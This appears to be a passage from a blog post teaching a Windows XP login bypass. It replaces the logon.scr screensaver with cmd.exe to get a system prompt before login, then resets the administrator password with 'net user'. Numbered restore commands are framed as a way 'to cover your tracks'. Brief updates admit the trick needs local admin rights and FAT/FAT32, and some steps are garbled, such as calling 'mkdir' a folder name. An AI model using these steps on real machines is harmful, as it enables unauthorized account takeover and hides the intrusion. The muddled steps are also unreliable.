A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.

1. Go to Start –> Run –> Type in CMD
2. You will get a command prompt. Enter these commands the way it is given
3. cd\
4. cd\ windows\system32\temphack
5. copy logon.scr C:\windows\system32\logon.scr
6. copy cmd.exe C:\windows\system32\cmd.exe
7. exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.

Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.

Update: Christian Mohn points out The Above method is is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.

Update: The above Method only works if the system is FAT/FAT32 - because of the updated “user rights management” in NTFS - file level rights etc. This does not work on a system using NTFS.
